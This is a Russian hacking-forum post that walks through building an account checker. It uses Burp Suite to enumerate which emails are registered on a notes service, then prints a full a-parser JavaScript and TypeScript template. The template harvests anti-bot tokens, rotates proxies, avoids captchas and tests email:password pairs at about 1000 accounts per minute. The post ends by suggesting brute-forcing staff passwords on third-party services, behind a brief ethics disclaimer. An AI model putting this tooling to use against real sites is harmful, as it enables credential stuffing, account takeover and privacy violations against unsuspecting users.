HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 08.07.2023, 00:20
Местный
Новичок
Регистрация: 07.07.2023
Сообщений: 0
С нами: 1504446

Репутация: 0
По умолчанию

Приветствую! Используя знания в области JavaScript, можно более эффективно и всесторонне исследовать безопасность веб-приложений. Навыки программирования на JS позволяют значительно расширить границы автоматизации и вариативности атак, углубляя анализ и повышая качество выполнения атак на конкретные цели. Такой подход способствует более продуктивной работе.

Важно понять, что вас интересует. Лично меня всегда привлекали утилиты для пентеста, написанные своими руками: регчекеры, брутфорсеры и т.д. Но когда мне это было интересно - в интернете не было нормальных инструкций. Я находил некоторые проекты на Python, но они были не оптимизированы и не продуманы.

Цитата:

На мой взгляд, настоящий мастер пентеста — это тот, кто умеет создавать и редактировать программное обеспечение (например, как @N1GGA и @BearSec). Ведь на GitHub полно уникальных утилит, но, к сожалению, они часто не доработаны или требуют обновлений. Нанять кого-то, чтобы написать ПО на заказ, довольно дорого. Поэтому я решил создать свой ресурс с заметками и обратился к людям, которые пишут ПО на заказ. Мне нужно было ПО, где можно загрузить логин и пароль, добавить прокси и сохранить результаты в отдельный файл.
Эта идея пришла мне, когда я пытался решить задачу на курсе WAPT с помощью инструмента Hydra. Я не мог найти, как добавить прокси, которые обновляются по ссылке. Я прочитал много статей, но так и не нашел готового решения. Думаю, объяснять, зачем нужны прокси, не стоит — это и так все знают. Я сам еще новичок и не умею программировать, поэтому решил заказать разработку ПО у профессионалов, когда появились свободные финансы:



Цена была высокой. Я не знаю, почему автор берет за свои услуги 700 долларов... В итоге, я решил по-своему: сделать чекер с помощью Burp Suite Professional. Получилось, но я так и не понял, как добавить в него прокси по ссылке. Именно в этом и заключается проблема. Вот как все происходило:

У меня есть веб-ресурс с заметками. То есть можно войти в аккаунт и создать заметку, которая будет сохранена. Если аккаунт не зарегистрирован, пользователь увидит определенное сообщение:





Если аккаунт существует, то его перенаправит на форму для ввода пароля. Если пароль неверный, то на экране появится соответствующее сообщение:





Поэтому нужно предусмотреть все исходы. Всё зависит от ресурса: где-то надо подтверждать почту, где-то пароль неверный, где-то аккаунт не существует и т.п. Для теста нужно зарегистрировать существующий аккаунт, несуществующий (случайный логин), подтвержденный аккаунт, неподтвержденный аккаунт. Дальше уже зависит от того, что вам нужно.

Теперь откроем Burp Suite и введем несуществующий login. Перехватим и посмотрим на POST-запрос, который мы отправляем:



Мы отправляем username, которого нет в бд. Перенаправляем запрос в Repeater и отправляем запрос еще раз. Будем смотреть ответ:



Как мы видим, если юзернейма нет в базе данных, то в ответ прилетает сообщение: ”Аккаунта с таким адресом эл. почты или именем пользователя не существует”

Теперь попробуем отправить Email, который существует. Я отправил и ошибок никаких не было, а значит нужно ориентироваться конкретно на несуществующий Email, потому что так будет проще. Если почта не существует, то в ответе есть вот такое содержимое:



Отлично! Мы знаем, как указать Burp Suite какие аккаунты не существуют. Если вам не удалось найти что-то уникальное сразу на глаз, то попробуйте взять любой текстовой редактор и закинуть туда 2 responsa в случае успеха и невалида. Далее просто проверьте на уникальность. Также можно сразу в Burp Suite проверить два запроса на уникальность, используя функцию "Comparer" (Сравнение)

Закидываем содержимое ответа в Comparer и смотрим:



На глаз я правильно определил изначально. Как мы видим подсвечивается “usePasswordAuth”: значение отличается. Мы определили разницу между успехом и невалидом в двух ответах. Самое время закинуть наш запрос (шаблон) в intruder. Меняться будет только email, поэтому выделяем его. Добавляем в payload почты, которые мы хотим проверить:





Добавляем наш текст для фильтрации и запускаем:





Выделяем все результаты и копируем в текстовой редактор. Например, в emeditor. Пробел заменяем на точку с запятой:



Выбираем разделитель “Точка с запятой” и выделяем нужную колонку (где по UsePassword был поиск в ответ):





Ставим галочку только в выделенном фрагменте, ищем цифру 1. Это несуществующие аккаунты, так как мы искали по false. Далее нажимаем "Закладка".

Возвращаемся на исходную позицию и смотрим, что у нас выделилось:



Как раз ненужная строчка с несуществующим емейлом. Теперь мы можем ее просто удалить:



Да, это действительно работает, но это для вашего понимания. Работать так точно не стоит – это абсолютно неудобно. Нужно всё автоматизировать, чтобы так сильно не мучаться. Чего нам не хватает?

Мне в голову пришло два варианта:
  1. Искать инструмент в OpenBullet - набор для веб-тестирования, который позволяет выполнять запросы к целевому веб-приложению и предлагает множество инструментов для работы с результатами). Это программное обеспечение может использоваться для очистки и анализа данных, автоматического пентеста, модульного тестирования с помощью selenium и многого другого.

    GitHub - openbullet/openbullet: The OpenBullet web testing application.

  2. Искать человека, который работу на a-parser. У меня он давно еще был куплен. Я прочитал, что там можно создавать шаблоны на JavaScript и поэтому подумал, что это будет неплохим решением.
Я скинул полное тестовое задание и показал мое решение через Burp Suite. Ребята согласились взяться за мой заказ. Спустя пару дней всё было готово.Я импортировал шаблон в a-parser и вот такие файлы появились:

  • .map файл - это файл, который создается при преобразовании TS в JS
  • .ts - код на typrescript
  • .js - код на javascript
Если посмотреть код парсера, то там легко читается алгоритм:
  1. Получение необходимых кук
  2. В зависимости от вида запроса:
  3. проверка существования логина
ИЛИ
  1. проверка пароля для авторизации по указанному логину
Никакие дополнительные библиотеки в данном парсере не используются.

Проверка аккаунта на наличие регистрации:

JavaScript:


Код:
"use strict"
;
Object
.
defineProperty
(
exports
,
"__esModule"
,
{
value
:
true
}
)
;
exports
.
JS_order_3749
=
void
0
;
const
a_parser_types_1
=
require
(
"a-parser-types"
)
;
class
JS_order_3749
extends
a_parser_types_1.BaseParser
{
async
parse
(
set, results
)
{
const
q
=
set
.
query
.
split
(
/:/
)
;
for
(
let
attempt
=
1
;
attempt

{
try
{
hpts
=
data
.
match
(
/getElementById\("hpts"\)\.value\s*=\s*"([^"]+)/
)
[
1
]
;
hptsh
=
data
.
match
(
/getElementById\("hptsh"\)\.value\s*=\s*"([^"]+)/
)
[
1
]
;
return
/
ak_bmsc
=
[
^
;
]
+
/
.
test
(
hdr
[
'set-cookie'
]
)
;
}
catch
(
e
)
{
return
false
;
}
}
]
}
)
;
if
(
!
success
)
{
await
this
.
proxy
.
next
(
)
;
continue
;
}
const
result
=
q
[
1
]
?
await
this
.
checkPassword
(
q
[
0
]
,
q
[
1
]
,
hpts
,
hptsh
,
attempt
)
:
await
this
.
checkLogin
(
q
[
0
]
,
hpts
,
hptsh
,
attempt
)
;
if
(
result
)
{
results
.
status
=
result
;
results
.
success
=
1
;
break
;
}
}
return
results
;
}
async
checkLogin
(
username, hpts, hptsh, attempt
)
{
let
json
;
const
{
success
}
=
await
this
.
request
(
'POST'
,
'https://www.example.com/Login.action'
,
{
username
,
password
:
''
,
evaluateUsername
:
''
,
hpts
,
hptsh
,
analyticsLoginOrigin
:
'login_action'
,
clipperFlow
:
'false'
,
showSwitchService
:
'true'
,
usernameImmutable
:
'false'
}
,
{
parsecodes
:
{
200
:
1
}
,
attempt
,
headers
:
{
referer
:
'https://www.example.com/Login.action'
,
'x-requested-with'
:
'XMLHttpRequest'
}
,
check_content
:
[
(
data
)
=>
{
try
{
json
=
JSON
.
parse
(
data
)
;
if
(
json
.
captchaShow
)
return
false
;
return
true
;
}
catch
(
e
)
{
return
false
;
}
}
]
}
)
;
if
(
success
)
{
return
json
.
usePasswordAuth
?
1
:
-
1
;
}
else
{
return
0
;
}
}
async
checkPassword
(
username, password, hpts, hptsh, attempt
)
{
const
{
success
,
headers
}
=
await
this
.
request
(
'POST'
,
'https://www.example.com/Login.action'
,
{
username
,
password
,
login
:
'Sign in'
,
hpts
,
hptsh
,
analyticsLoginOrigin
:
'login_action'
,
clipperFlow
:
'false'
,
showSwitchService
:
'true'
,
usernameImmutable
:
'false'
}
,
{
parsecodes
:
{
200
:
1
,
302
:
1
}
,
attempt
,
headers
:
{
referer
:
'https://www.example.com/Login.action'
,
'x-requested-with'
:
'XMLHttpRequest'
}
,
onlyheaders
:
1
}
)
;
return
success
?
headers
.
Status
==
302
?
1
:
headers
.
Status
==
200
?
-
1
:
0
:
0
;
}
}
exports
.
JS_order_3749
=
JS_order_3749
;
JS_order_3749
.
defaultConf
=
{
results
:
{
flat
:
[
[
'status'
,
'Status'
]
]
}
,
max_size
:
1024
*
1024
,
results_format
:
"$query: $status\\n"
}
;
//# sourceMappingURL=order-3749.js.map
Проверка Email:

Код:


Код:
import { BaseParser } from 'a-parser-types';

export class JS_order_3749 extends BaseParser {
    static defaultConf: typeof BaseParser.defaultConf = {
        results: {
            flat: [
                ['status', 'Status']
            ]
        },
        max_size: 1024 * 1024,
        results_format: "$query: $status\\n"
    };

    async parse(set, results) {
        const q = set.query.split(/:/);
        for(let attempt = 1; attempt  {
                    try {
                        hpts = data.match(/getElementById\("hpts"\)\.value\s*=\s*"([^"]+)/)[1];
                        hptsh = data.match(/getElementById\("hptsh"\)\.value\s*=\s*"([^"]+)/)[1];
                        return /ak_bmsc=[^;]+/.test(hdr['set-cookie']);
                    } catch(e) {
                        return false;
                    }
                }]
            });
            if(!success) {
                await this.proxy.next();
                continue;
            }

            const result = q[1] ? await this.checkPassword(q[0], q[1], hpts, hptsh, attempt) : await this.checkLogin(q[0], hpts, hptsh, attempt);
            if(result) {
                results.status = result;
                results.success = 1;
                break;
            }
        }

        return results;
    }

    async checkLogin(username, hpts, hptsh, attempt) {
        let json;
        const {success} = await this.request('POST', 'https://www.example.com/Login.action', {
            username,
            password: '',
            evaluateUsername: '',
            hpts,
            hptsh,
            analyticsLoginOrigin: 'login_action',
            clipperFlow: 'false',
            showSwitchService: 'true',
            usernameImmutable: 'false'
        }, {
            parsecodes: { 200: 1 },
            attempt,
            headers: {
                referer: 'https://www.example.com/Login.action',
                'x-requested-with': 'XMLHttpRequest'
            },
            check_content: [(data) => {
                try {
                    json = JSON.parse(data);
                    if(json.captchaShow) return false;
                    return true;
                } catch(e) {
                    return false;
                }
            }]
        });
        if(success) {
            return json.usePasswordAuth ? 1 : -1;
        } else {
            return 0;
        }
    }

    async checkPassword(username, password, hpts, hptsh, attempt) {
        const {success, headers} = await this.request('POST', 'https://www.example.com/Login.action', {
            username,
            password,
            login: 'Sign in',
            hpts,
            hptsh,
            analyticsLoginOrigin: 'login_action',
            clipperFlow: 'false',
            showSwitchService: 'true',
            usernameImmutable: 'false'
        }, {
            parsecodes: { 200: 1, 302: 1 },
            attempt,
            headers: {
                referer: 'https://www.example.com/Login.action',
                'x-requested-with': 'XMLHttpRequest'
            },
            onlyheaders: 1
        });
        return success ? headers.Status == 302 ? 1 : headers.Status == 200 ? -1 : 0 : 0;
    }
}


На вход можно подавать как Email, так и Emailassword. Давайте посмотрим, какая скорость проверки будет на 100 потоках. В минуту можно проверять +- 1000 аккаунтов. Результат автоматически сохраняется в текстовой файл:





Если вам разрешено проводить атаки на проникновение и вы не смогли найти уязвимостей в одной из целей, но заметили, что администратор или сотрудник зарегистрирован на другом стороннем сервисе, то написание подобного скрипта может быть полезно в следующих случаях:
  1. Вы можете написать скрипт, чтобы перебрать возможные пароли этого администратора или сотрудника на стороннем сервисе. Это может быть полезно, если для этого аккаунта используется слабый или уязвимый пароль.
  2. Если администратор или сотрудник используют тот же самый пароль на разных сервисах, вы можете использовать скрипт для проверки, не совпадают ли пароли между целью, где вы не нашли уязвимостей, и сторонним сервисом.
  3. При проведении подобной атаки на сторонний сервис вы можете получить дополнительную информацию, которую можно использовать для дальнейшей атаки на целевую систему. Например, вы можете получить информацию о последовательности пароля или описать ошибки авторизации, которые можно использовать для усиления атаки на основную цель.
Однако важно соблюдать этику и законы при проведении пентеста. Убедитесь, что у вас есть разрешение от компании и следуйте их правилам и регламенту, чтобы избежать юридических проблем или нанесения ущерба компании.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.